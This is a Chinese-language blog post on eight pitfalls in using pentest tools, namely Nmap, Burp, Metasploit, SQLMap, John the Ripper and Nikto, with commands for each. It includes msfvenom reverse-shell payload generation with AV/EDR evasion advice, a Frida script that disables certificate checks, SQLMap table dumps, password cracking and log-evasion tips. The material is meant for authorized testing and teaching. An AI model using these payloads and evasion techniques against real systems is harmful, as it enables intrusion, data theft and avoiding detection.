Nmap、Burp、MSF 这 8 个新手必踩的坑，我替你全趟过了
Nmap、Burp、MSF 这 8 个新手必踩的坑，我替你全趟过了
前言
做安全这些年，工具用了不少，坑也踩了不少。有些坑踩一次就长记性了，有些坑踩了好几次才反应过来——不是工具不好用，是自己的姿势不对。
这篇文章不是工具入门教程，网上那种"Nmap 安装与基础使用"一搜一大把。我要讲的是那些教程里不会告诉你的、实际工作中才会遇到的坑。每个都是我亲身经历，附带正确的打开方式。
坑一：Nmap 的 -sS 和 -sT，你以为你选对了？
很多教程教你用 nmap -sS（SYN 扫描）做端口扫描，说它速度快、隐蔽。没错，SYN 扫描确实比 TCP 全连接扫描（-sT）快，但有个前提——你的 Nmap 必须有 root 权限。
没有 root 权限执行 -sS，Nmap 会静默降级为 -sT，而且不会告诉你。
我就踩过这个坑。有一次在客户的跳板机上做渗透测试，用 nmap -sS -p- 10.0.3.0/24 扫描内网，结果扫出来的端口数明显偏少。当时以为是目标机器有防火墙，折腾了半天才发现——跳板机上的 Nmap 是用普通用户执行的，实际跑的是 -sT 模式，很多半开放端口被过滤掉了。
# 正确做法：先确认你的扫描模式
sudo nmap -sS -p 1-65535 -T4 --min-rate 1000 10.0.3.0/24 -oA full_scan
# 如果没有 root 权限，老实告诉自己用的是全连接扫描
nmap -sT -p 1-65535 -T4 10.0.3.0/24 -oA full_scan
# 验证扫描模式：看输出里的 "Not shown" 行
# SYN 扫描会显示 "997 filtered tcp ports (no-response)"
# TCP 扫描会显示 "997 closed tcp ports (conn-refused)"坑二：Burp Suite 的代理证书，安卓 7+ 设备抓不到 HTTPS
这个坑折磨了我整整一个下午。
用 Burp 抓手机 App 的 HTTPS 流量，标准流程是：手机设置代理 → 安装 Burp 的 CA 证书 → 浏览器能抓到 HTTPS → App 应该也能抓到。
对，"应该"。
在 Android 7+ 的设备上，App 默认不信任用户安装的 CA 证书。即使你在系统设置里装了 Burp 的证书，很多 App 的 HTTPS 请求还是抓不到——因为它们只信任系统级证书。
解决方案有两种：
方案一：Root 设备，把证书装到系统证书目录
# 1. 导出 Burp CA 证书（DER 格式）
# 在 Burp: Proxy → Options → Import/Export CA Certificate → Export in DER format
# 2. 计算证书哈希名
openssl x509 -inform DER -in cacert.der -out cacert.pem
HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1)
echo "证书哈希: $HASH"
# 3. 重命名并推送到系统证书目录
cp cacert.pem "${HASH}.0"
adb root
adb remount # 重新挂载 /system 为可写
adb push "${HASH}.0" /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/"${HASH}.0"
adb reboot方案二：用 Frida Hook SSL 验证（不需要 Root）
// frida-ssl-pinning.js
Java.perform(function() {
var TrustManager = Java.registerClass({
name: 'com.custom.MyTrustManager',
implements: [Java.use('javax.net.ssl.X509TrustManager')],
methods: {
checkClientTrusted: function(chain, authType) {},
checkServerTrusted: function(chain, authType) {},
getAcceptedIssuers: function() { return []; }
}
});
var SSLContext = Java.use('javax.net.ssl.SSLContext');
var context = SSLContext.getInstance('TLS');
context.init(null, [TrustManager.$new()], null);
// Hook HttpsURLConnection
Java.use('javax.net.ssl.HttpsURLConnection').setDefaultSSLSocketFactory
.implementation = function(socketFactory) {
this.setDefaultSSLSocketFactory(context.getSocketFactory());
};
});# 启动 Frida Hook
frida -U -f com.target.app -l frida-ssl-pinning.js --no-pause坑三：Metasploit 的 payload 生成，别用默认参数
用 MSF 生成 payload 是基本操作，但很多新手直接用默认参数：
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe这个 payload 在绝大多数杀毒软件面前活不过三秒钟。因为默认参数生成的 payload 特征码早就被各大 AV 厂商收录了。
进阶做法：
# 1. 使用编码器（虽然效果有限，但聊胜于无）
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.1 LPORT=4444 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o shell_encoded.exe
# 2. 更好的做法：使用自定义模板 + 分离加载
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.1 LPORT=4444 \
-f raw -o payload.bin
# 然后用 C# 或 C++ 写一个加载器，用 AES 加密 payload
# 这样可以绕过大多数静态检测
# 3. 最佳实践：使用 Cobalt Strike 或自研 C2 框架
# MSF 的 payload 特征太明显，实战中通常用 CS 的 Beacon踩坑记录：有一次在红队演练中，我用 MSF 默认 payload 直接被客户的 EDR 秒杀。后来换了自定义加载器，用 AES 加密 payload + 进程注入的方式才绕过。从那以后，我在任何正式项目中都不会直接用 MSF 默认 payload。
坑四：Wireshark 的显示过滤器和捕获过滤器搞混了
这个坑看起来很低级，但我见过不止一个工作了两三年的安全工程师犯这个错误。
显示过滤器（Display Filter）：在抓包之后过滤显示，语法是 http.request.method == "GET"
捕获过滤器（Capture Filter）：在抓包时过滤，语法是 tcp port 80（BPF 语法）
这两者的语法完全不同，但很容易搞混。
# ❌ 错误：在捕获过滤器里写显示过滤器语法
# Wireshark 会直接报错
http.request.method == "GET" # 这是显示过滤器语法，不能用在捕获过滤器
# ✅ 正确的捕获过滤器（BPF 语法）
tcp port 80 and host 10.0.3.15
# ✅ 正确的显示过滤器
http.request.method == "GET" && ip.addr == 10.0.3.15更常见的错误：在命令行用 tshark 时，-f 参数是捕获过滤器，-Y 参数是显示过滤器。
# 命令行抓包，正确用法
tshark -i eth0 -f "tcp port 443" -Y "tls.handshake.type == 1" -c 100
# -f: 捕获过滤器（BPF 语法），在抓包时过滤
# -Y: 显示过滤器（Wireshark 语法），在显示时过滤坑五：SQLMap 的 --batch 模式会搞崩数据库
用 SQLMap 做 SQL 注入检测时，--batch 参数会让 SQLMap 自动选择默认选项，不用你一步步确认。很方便对吧？
但如果你的目标是生产环境数据库，--batch + 默认的检测级别（Level 1）会让你后悔。
# ❌ 危险操作：直接在生产环境跑
sqlmap -u "https://target.com/page?id=1" --batch --dbs
# SQLMap 默认会尝试各种注入技术，包括：
# - 基于时间的盲注（会让数据库 sleep）
# - 基于布尔的盲注（大量请求）
# - UNION 查询（可能返回大量数据）
# 在生产环境上，这些操作可能导致：
# 1. 数据库 CPU 飙升
# 2. 应用响应变慢甚至超时
# 3. 触发 WAF 告警，被封 IP正确做法：
# 1. 先用低级别快速探测
sqlmap -u "https://target.com/page?id=1" \
--batch --level=1 --risk=1 \
--technique=BEU \ # 只用布尔、报错、UNION，不用时间盲注
--threads=5 \ # 控制并发
--delay=0.5 # 每次请求间隔 0.5 秒
# 2. 确认有注入后，再逐步提高级别
sqlmap -u "https://target.com/page?id=1" \
--batch --level=3 --risk=2 \
--technique=BEUST \ # 加上时间盲注和堆叠查询
--threads=3
# 3. 提取数据时限制数量
sqlmap -u "https://target.com/page?id=1" \
--dump -T users -D mydb \
--start=1 --stop=100 # 只取前 100 条亲测踩坑：有一次在客户的测试环境跑 SQLMap，忘了加 --threads 限制，默认 10 个并发线程直接把测试数据库打满了连接数，导致测试环境其他同事的测试全部超时。从此以后，我跑 SQLMap 必加 --threads=3 --delay=0.5。
坑六：John the Ripper 的字典选择决定了成败
用 John 破解密码哈希，很多人直接用默认字典或者 Kali 自带的 rockyou.txt。
# 新手做法
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtrockyou.txt 有 1400 万条密码，听起来很多对吧？但它是一个 2009 年泄露的数据库，里面的密码模式已经过时了。现在的密码策略要求大小写+数字+特殊字符，rockyou.txt 里大多数都是纯小写或简单组合。
更有效的做法：
# 1. 使用更现代的字典
# SecLists 项目有更新的字典
wget https://github.com/danielmiessler/SecLists/archive/master.zip
john --wordlist=SecLists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt hash.txt
# 2. 使用规则文件增强字典
john --wordlist=rockyou.txt --rules=best64 hash.txt
# best64 规则会在每个单词基础上做常见的变形：
# password → Password, p@ssword, PASSWORD123, etc.
# 3. 针对特定场景定制字典
# 如果知道目标公司的命名规则，可以生成定制字典
crunch 8 8 -t @@@@%%%% -o custom_wordlist.txt
# @ = 小写字母, % = 数字
# 生成所有 4 字母 + 4 数字的组合
# 4. 混合模式：先用字典，再用规则，最后暴力
john --wordlist=rockyou.txt --rules=best64 hash.txt
john --incremental hash.txt # 字典破解完后，自动切换到暴力破解坑七：Nikto 扫描会留下大量日志痕迹
用 Nikto 做 Web 漏洞扫描很方便，但它会在目标服务器的访问日志里留下非常明显的痕迹。
# Nikto 的 User-Agent
Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:000001)
# Nikto 的请求特征
GET /admin/ HTTP/1.1
GET /test/ HTTP/1.1
GET /cgi-bin/test.cgi HTTP/1.1
# 每个请求都带有 Nikto 特征的注释头如果目标有 WAF 或者日志监控，Nikto 扫描会在几分钟内被发现。
更隐蔽的做法：
# 1. 修改 User-Agent
nikto -h https://target.com -useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# 2. 使用代理
nikto -h https://target.com -useproxy http://127.0.0.1:8080
# 3. 控制扫描速度
nikto -h https://target.com -Pause 2 # 每个请求间隔 2 秒
# 4. 更好的选择：用 Nuclei 替代
# Nuclei 支持自定义模板，更灵活，特征更少
nuclei -u https://target.com -t technologies/ -t cves/ -rate-limit 10坑八：Metasploit 的 session 管理，不设超时会翻车
拿到 Meterpreter session 后，很多人直接开始操作，忘了设置 session 超时和通信加密。
# 拿到 session 后的第一件事：设置通信参数
meterpreter > setg SessionCommunicationTimeout 300
meterpreter > setg SessionExpirationTimeout 86400
# 如果网络不稳定，设置自动重连
meterpreter > setg EnableStageEncoding true
meterpreter > setg StageEncoder x64/xor_dynamic踩坑记录：有一次在红队演练中，我拿到了目标机器的 Meterpreter session，正在里面翻文件的时候，session 突然断了。原因是我没有设置 session 超时，网络抖动导致连接中断，而且 payload 没有设置自动重连机制。等我重新建立连接的时候，目标机器的 EDR 已经更新了规则，同样的 payload 直接被杀了。
# 在 handler 端设置自动重连
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 443
set ExitOnSession false # 不要在 session 断开后退出 handler
set EnableStageEncoding true
exploit -j # 后台运行，等待自动重连总结
工具好不好用，三分靠工具本身，七分靠使用者的姿势。这八个坑，前四个是关于"工具本身的行为和你理解的不一样"，后四个是关于"你在使用工具时忽略了安全和隐蔽性"。
记住一条原则：在你完全理解一个工具的行为之前，不要在任何重要的环境中使用它。
你用安全工具时踩过哪些坑？欢迎在评论区分享，我来帮你分析。
关注「安全值班室」公众号
每天AI安全早报 + 实战攻防案例 + 网安学习路线连载
浙公网安备 33010602011771号